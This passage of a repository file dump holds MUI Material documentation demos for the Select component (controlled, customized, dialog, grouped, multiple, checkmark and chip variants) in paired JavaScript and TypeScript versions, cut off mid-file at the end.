    "content": "<FormControl fullWidth>\n  <InputLabel id=\"demo-simple-select-label\">Age</InputLabel>\n  <Select\n    labelId=\"demo-simple-select-label\"\n    id=\"demo-simple-select\"\n    value={age}\n    label=\"Age\"\n    onChange={handleChange}\n  >\n    <MenuItem value={10}>Ten</MenuItem>\n    <MenuItem value={20}>Twenty</MenuItem>\n    <MenuItem value={30}>Thirty</MenuItem>\n  </Select>\n</FormControl>"
  },
  {
    "path": "docs/data/material/components/selects/ControlledOpenSelect.js",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\nimport Button from '@mui/material/Button';\n\nexport default function ControlledOpenSelect() {\n  const [age, setAge] = React.useState('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Button sx={{ display: 'block', mt: 2 }} onClick={handleOpen}>\n        Open the select\n      </Button>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-controlled-open-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-controlled-open-select-label\"\n          id=\"demo-controlled-open-select\"\n          open={open}\n          onClose={handleClose}\n          onOpen={handleOpen}\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/ControlledOpenSelect.tsx",
    "content": "import * as React from 'react';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport Button from '@mui/material/Button';\n\nexport default function ControlledOpenSelect() {\n  const [age, setAge] = React.useState<string | number>('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleChange = (event: SelectChangeEvent<typeof age>) => {\n    setAge(event.target.value);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleOpen = () => {\n    setOpen(true);\n  };\n\n  return (\n    <div>\n      <Button sx={{ display: 'block', mt: 2 }} onClick={handleOpen}>\n        Open the select\n      </Button>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"demo-controlled-open-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-controlled-open-select-label\"\n          id=\"demo-controlled-open-select\"\n          open={open}\n          onClose={handleClose}\n          onOpen={handleOpen}\n          value={age}\n          label=\"Age\"\n          onChange={handleChange}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/CustomizedSelects.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\nimport NativeSelect from '@mui/material/NativeSelect';\nimport InputBase from '@mui/material/InputBase';\n\nconst BootstrapInput = styled(InputBase)(({ theme }) => ({\n  'label + &': {\n    marginTop: theme.spacing(3),\n  },\n  '& .MuiInputBase-input': {\n    borderRadius: 4,\n    position: 'relative',\n    backgroundColor: (theme.vars ?? theme).palette.background.paper,\n    border: '1px solid #ced4da',\n    fontSize: 16,\n    padding: '10px 26px 10px 12px',\n    transition: theme.transitions.create(['border-color', 'box-shadow']),\n    // Use the system font instead of the default Roboto font.\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n    '&:focus': {\n      borderRadius: 4,\n      borderColor: '#80bdff',\n      boxShadow: '0 0 0 0.2rem rgba(0,123,255,.25)',\n    },\n  },\n}));\n\nexport default function CustomizedSelects() {\n  const [age, setAge] = React.useState('');\n  const handleChange = (event) => {\n    setAge(event.target.value);\n  };\n  return (\n    <div>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel htmlFor=\"demo-customized-textbox\">Age</InputLabel>\n        <BootstrapInput id=\"demo-customized-textbox\" />\n      </FormControl>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel id=\"demo-customized-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-customized-select-label\"\n          id=\"demo-customized-select\"\n          value={age}\n          onChange={handleChange}\n          input={<BootstrapInput />}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel htmlFor=\"demo-customized-select-native\">Age</InputLabel>\n        <NativeSelect\n          id=\"demo-customized-select-native\"\n          value={age}\n          onChange={handleChange}\n          input={<BootstrapInput />}\n        >\n          <option aria-label=\"None\" value=\"\" />\n          <option value={10}>Ten</option>\n          <option value={20}>Twenty</option>\n          <option value={30}>Thirty</option>\n        </NativeSelect>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/CustomizedSelects.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\nimport NativeSelect from '@mui/material/NativeSelect';\nimport InputBase from '@mui/material/InputBase';\n\nconst BootstrapInput = styled(InputBase)(({ theme }) => ({\n  'label + &': {\n    marginTop: theme.spacing(3),\n  },\n  '& .MuiInputBase-input': {\n    borderRadius: 4,\n    position: 'relative',\n    backgroundColor: (theme.vars ?? theme).palette.background.paper,\n    border: '1px solid #ced4da',\n    fontSize: 16,\n    padding: '10px 26px 10px 12px',\n    transition: theme.transitions.create(['border-color', 'box-shadow']),\n    // Use the system font instead of the default Roboto font.\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n    '&:focus': {\n      borderRadius: 4,\n      borderColor: '#80bdff',\n      boxShadow: '0 0 0 0.2rem rgba(0,123,255,.25)',\n    },\n  },\n}));\n\nexport default function CustomizedSelects() {\n  const [age, setAge] = React.useState('');\n  const handleChange = (event: { target: { value: string } }) => {\n    setAge(event.target.value);\n  };\n  return (\n    <div>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel htmlFor=\"demo-customized-textbox\">Age</InputLabel>\n        <BootstrapInput id=\"demo-customized-textbox\" />\n      </FormControl>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel id=\"demo-customized-select-label\">Age</InputLabel>\n        <Select\n          labelId=\"demo-customized-select-label\"\n          id=\"demo-customized-select\"\n          value={age}\n          onChange={handleChange}\n          input={<BootstrapInput />}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>\n      </FormControl>\n      <FormControl sx={{ m: 1 }} variant=\"standard\">\n        <InputLabel htmlFor=\"demo-customized-select-native\">Age</InputLabel>\n        <NativeSelect\n          id=\"demo-customized-select-native\"\n          value={age}\n          onChange={handleChange}\n          input={<BootstrapInput />}\n        >\n          <option aria-label=\"None\" value=\"\" />\n          <option value={10}>Ten</option>\n          <option value={20}>Twenty</option>\n          <option value={30}>Thirty</option>\n        </NativeSelect>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/DialogSelect.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function DialogSelect() {\n  const [open, setOpen] = React.useState(false);\n  const [age, setAge] = React.useState('');\n\n  const handleChange = (event) => {\n    setAge(Number(event.target.value) || '');\n  };\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDialogClose = (_event, reason) => {\n    if (!['backdropClick', 'escapeKeyDown'].includes(reason)) {\n      setOpen(false);\n    }\n  };\n\n  const handleActionButtonClick = () => {\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClickOpen}>Open select dialog</Button>\n      <Dialog open={open} onClose={handleDialogClose}>\n        <DialogTitle>Fill the form</DialogTitle>\n        <DialogContent>\n          <Box component=\"form\" sx={{ display: 'flex', flexWrap: 'wrap' }}>\n            <FormControl sx={{ m: 1, minWidth: 120 }}>\n              <InputLabel htmlFor=\"demo-dialog-native\">Age</InputLabel>\n              <Select\n                native\n                value={age}\n                onChange={handleChange}\n                input={<OutlinedInput label=\"Age\" id=\"demo-dialog-native\" />}\n              >\n                <option aria-label=\"None\" value=\"\" />\n                <option value={10}>Ten</option>\n                <option value={20}>Twenty</option>\n                <option value={30}>Thirty</option>\n              </Select>\n            </FormControl>\n            <FormControl sx={{ m: 1, minWidth: 120 }}>\n              <InputLabel id=\"demo-dialog-select-label\">Age</InputLabel>\n              <Select\n                labelId=\"demo-dialog-select-label\"\n                id=\"demo-dialog-select\"\n                value={age}\n                onChange={handleChange}\n                input={<OutlinedInput label=\"Age\" />}\n              >\n                <MenuItem value=\"\">\n                  <em>None</em>\n                </MenuItem>\n                <MenuItem value={10}>Ten</MenuItem>\n                <MenuItem value={20}>Twenty</MenuItem>\n                <MenuItem value={30}>Thirty</MenuItem>\n              </Select>\n            </FormControl>\n          </Box>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleActionButtonClick}>Cancel</Button>\n          <Button onClick={handleActionButtonClick}>Ok</Button>\n        </DialogActions>\n      </Dialog>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/DialogSelect.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nexport default function DialogSelect() {\n  const [open, setOpen] = React.useState(false);\n  const [age, setAge] = React.useState<number | string>('');\n\n  const handleChange = (event: SelectChangeEvent<typeof age>) => {\n    setAge(Number(event.target.value) || '');\n  };\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleDialogClose = (\n    _event: React.SyntheticEvent<unknown>,\n    reason: string,\n  ) => {\n    if (!['backdropClick', 'escapeKeyDown'].includes(reason)) {\n      setOpen(false);\n    }\n  };\n\n  const handleActionButtonClick = () => {\n    setOpen(false);\n  };\n\n  return (\n    <div>\n      <Button onClick={handleClickOpen}>Open select dialog</Button>\n      <Dialog open={open} onClose={handleDialogClose}>\n        <DialogTitle>Fill the form</DialogTitle>\n        <DialogContent>\n          <Box component=\"form\" sx={{ display: 'flex', flexWrap: 'wrap' }}>\n            <FormControl sx={{ m: 1, minWidth: 120 }}>\n              <InputLabel htmlFor=\"demo-dialog-native\">Age</InputLabel>\n              <Select\n                native\n                value={age}\n                onChange={handleChange}\n                input={<OutlinedInput label=\"Age\" id=\"demo-dialog-native\" />}\n              >\n                <option aria-label=\"None\" value=\"\" />\n                <option value={10}>Ten</option>\n                <option value={20}>Twenty</option>\n                <option value={30}>Thirty</option>\n              </Select>\n            </FormControl>\n            <FormControl sx={{ m: 1, minWidth: 120 }}>\n              <InputLabel id=\"demo-dialog-select-label\">Age</InputLabel>\n              <Select\n                labelId=\"demo-dialog-select-label\"\n                id=\"demo-dialog-select\"\n                value={age}\n                onChange={handleChange}\n                input={<OutlinedInput label=\"Age\" />}\n              >\n                <MenuItem value=\"\">\n                  <em>None</em>\n                </MenuItem>\n                <MenuItem value={10}>Ten</MenuItem>\n                <MenuItem value={20}>Twenty</MenuItem>\n                <MenuItem value={30}>Thirty</MenuItem>\n              </Select>\n            </FormControl>\n          </Box>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleActionButtonClick}>Cancel</Button>\n          <Button onClick={handleActionButtonClick}>Ok</Button>\n        </DialogActions>\n      </Dialog>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/GroupedSelect.js",
    "content": "import InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function GroupedSelect() {\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel htmlFor=\"grouped-native-select\">Grouping</InputLabel>\n        <Select native defaultValue=\"\" id=\"grouped-native-select\" label=\"Grouping\">\n          <option aria-label=\"None\" value=\"\" />\n          <optgroup label=\"Category 1\">\n            <option value={1}>Option 1</option>\n            <option value={2}>Option 2</option>\n          </optgroup>\n          <optgroup label=\"Category 2\">\n            <option value={3}>Option 3</option>\n            <option value={4}>Option 4</option>\n          </optgroup>\n        </Select>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"grouped-select-label\" htmlFor=\"grouped-select\">\n          Grouping\n        </InputLabel>\n        <Select\n          defaultValue=\"\"\n          id=\"grouped-select\"\n          label=\"Grouping\"\n          SelectDisplayProps={{\n            'aria-labelledby': 'grouped-select-label',\n          }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <ListSubheader>Category 1</ListSubheader>\n          <MenuItem value={1}>Option 1</MenuItem>\n          <MenuItem value={2}>Option 2</MenuItem>\n          <ListSubheader>Category 2</ListSubheader>\n          <MenuItem value={3}>Option 3</MenuItem>\n          <MenuItem value={4}>Option 4</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/GroupedSelect.tsx",
    "content": "import InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nexport default function GroupedSelect() {\n  return (\n    <div>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel htmlFor=\"grouped-native-select\">Grouping</InputLabel>\n        <Select native defaultValue=\"\" id=\"grouped-native-select\" label=\"Grouping\">\n          <option aria-label=\"None\" value=\"\" />\n          <optgroup label=\"Category 1\">\n            <option value={1}>Option 1</option>\n            <option value={2}>Option 2</option>\n          </optgroup>\n          <optgroup label=\"Category 2\">\n            <option value={3}>Option 3</option>\n            <option value={4}>Option 4</option>\n          </optgroup>\n        </Select>\n      </FormControl>\n      <FormControl sx={{ m: 1, minWidth: 120 }}>\n        <InputLabel id=\"grouped-select-label\" htmlFor=\"grouped-select\">\n          Grouping\n        </InputLabel>\n        <Select\n          defaultValue=\"\"\n          id=\"grouped-select\"\n          label=\"Grouping\"\n          SelectDisplayProps={{\n            'aria-labelledby': 'grouped-select-label',\n          }}\n        >\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <ListSubheader>Category 1</ListSubheader>\n          <MenuItem value={1}>Option 1</MenuItem>\n          <MenuItem value={2}>Option 2</MenuItem>\n          <ListSubheader>Category 2</ListSubheader>\n          <MenuItem value={3}>Option 3</MenuItem>\n          <MenuItem value={4}>Option 4</MenuItem>\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelect.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name, personName, theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelect() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState([]);\n\n  const handleChange = (event) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-name-label\">Name</InputLabel>\n        <Select\n          labelId=\"demo-multiple-name-label\"\n          id=\"demo-multiple-name\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput label=\"Name\" />}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelect.tsx",
    "content": "import * as React from 'react';\nimport { Theme, useTheme } from '@mui/material/styles';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name: string, personName: string[], theme: Theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelect() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState<string[]>([]);\n\n  const handleChange = (event: SelectChangeEvent<typeof personName>) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-name-label\">Name</InputLabel>\n        <Select\n          labelId=\"demo-multiple-name-label\"\n          id=\"demo-multiple-name\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput label=\"Name\" />}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectCheckmarks.js",
    "content": "import * as React from 'react';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport ListItemText from '@mui/material/ListItemText';\nimport Select from '@mui/material/Select';\nimport CheckBoxOutlineBlankIcon from '@mui/icons-material/CheckBoxOutlineBlank';\nimport CheckBoxIcon from '@mui/icons-material/CheckBox';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nexport default function MultipleSelectCheckmarks() {\n  const [personName, setPersonName] = React.useState([]);\n\n  const handleChange = (event) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-checkbox-label\">Tag</InputLabel>\n        <Select\n          labelId=\"demo-multiple-checkbox-label\"\n          id=\"demo-multiple-checkbox\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput label=\"Tag\" />}\n          renderValue={(selected) => selected.join(', ')}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => {\n            const selected = personName.includes(name);\n            const SelectionIcon = selected ? CheckBoxIcon : CheckBoxOutlineBlankIcon;\n\n            return (\n              <MenuItem key={name} value={name}>\n                <SelectionIcon\n                  fontSize=\"small\"\n                  style={{ marginRight: 8, padding: 9, boxSizing: 'content-box' }}\n                />\n                <ListItemText primary={name} />\n              </MenuItem>\n            );\n          })}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectCheckmarks.tsx",
    "content": "import * as React from 'react';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport ListItemText from '@mui/material/ListItemText';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport CheckBoxOutlineBlankIcon from '@mui/icons-material/CheckBoxOutlineBlank';\nimport CheckBoxIcon from '@mui/icons-material/CheckBox';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nexport default function MultipleSelectCheckmarks() {\n  const [personName, setPersonName] = React.useState<string[]>([]);\n\n  const handleChange = (event: SelectChangeEvent<typeof personName>) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-checkbox-label\">Tag</InputLabel>\n        <Select\n          labelId=\"demo-multiple-checkbox-label\"\n          id=\"demo-multiple-checkbox\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput label=\"Tag\" />}\n          renderValue={(selected) => selected.join(', ')}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => {\n            const selected = personName.includes(name);\n            const SelectionIcon = selected ? CheckBoxIcon : CheckBoxOutlineBlankIcon;\n\n            return (\n              <MenuItem key={name} value={name}>\n                <SelectionIcon\n                  fontSize=\"small\"\n                  style={{ marginRight: 8, padding: 9, boxSizing: 'content-box' }}\n                />\n                <ListItemText primary={name} />\n              </MenuItem>\n            );\n          })}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectChip.js",
    "content": "import * as React from 'react';\nimport { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select from '@mui/material/Select';\nimport Chip from '@mui/material/Chip';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name, personName, theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelectChip() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState([]);\n\n  const handleChange = (event) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-chip-label\">Chip</InputLabel>\n        <Select\n          labelId=\"demo-multiple-chip-label\"\n          id=\"demo-multiple-chip\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          input={<OutlinedInput id=\"select-multiple-chip\" label=\"Chip\" />}\n          renderValue={(selected) => (\n            <Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 0.5 }}>\n              {selected.map((value) => (\n                <Chip key={value} label={value} />\n              ))}\n            </Box>\n          )}\n          MenuProps={MenuProps}\n        >\n          {names.map((name) => (\n            <MenuItem\n              key={name}\n              value={name}\n              style={getStyles(name, personName, theme)}\n            >\n              {name}\n            </MenuItem>\n          ))}\n        </Select>\n      </FormControl>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/selects/MultipleSelectChip.tsx",
    "content": "import * as React from 'react';\nimport { Theme, useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport FormControl from '@mui/material/FormControl';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport Chip from '@mui/material/Chip';\n\nconst ITEM_HEIGHT = 48;\nconst ITEM_PADDING_TOP = 8;\nconst MenuProps = {\n  slotProps: {\n    paper: {\n      style: {\n        maxHeight: ITEM_HEIGHT * 4.5 + ITEM_PADDING_TOP,\n        width: 250,\n      },\n    },\n  },\n};\n\nconst names = [\n  'Oliver Hansen',\n  'Van Henry',\n  'April Tucker',\n  'Ralph Hubbard',\n  'Omar Alexander',\n  'Carlos Abbott',\n  'Miriam Wagner',\n  'Bradley Wilkerson',\n  'Virginia Andrews',\n  'Kelly Snyder',\n];\n\nfunction getStyles(name: string, personName: readonly string[], theme: Theme) {\n  return {\n    fontWeight: personName.includes(name)\n      ? theme.typography.fontWeightMedium\n      : theme.typography.fontWeightRegular,\n  };\n}\n\nexport default function MultipleSelectChip() {\n  const theme = useTheme();\n  const [personName, setPersonName] = React.useState<string[]>([]);\n\n  const handleChange = (event: SelectChangeEvent<typeof personName>) => {\n    const {\n      target: { value },\n    } = event;\n    setPersonName(\n      // On autofill we get a stringified value.\n      typeof value === 'string' ? value.split(',') : value,\n    );\n  };\n\n  return (\n    <div>\n      <FormControl sx={{ m: 1, width: 300 }}>\n        <InputLabel id=\"demo-multiple-chip-label\">Chip</InputLabel>\n        <Select\n          labelId=\"demo-multiple-chip-label\"\n          id=\"demo-multiple-chip\"\n          multiple\n          value={personName}\n          onChange={handleChange}\n          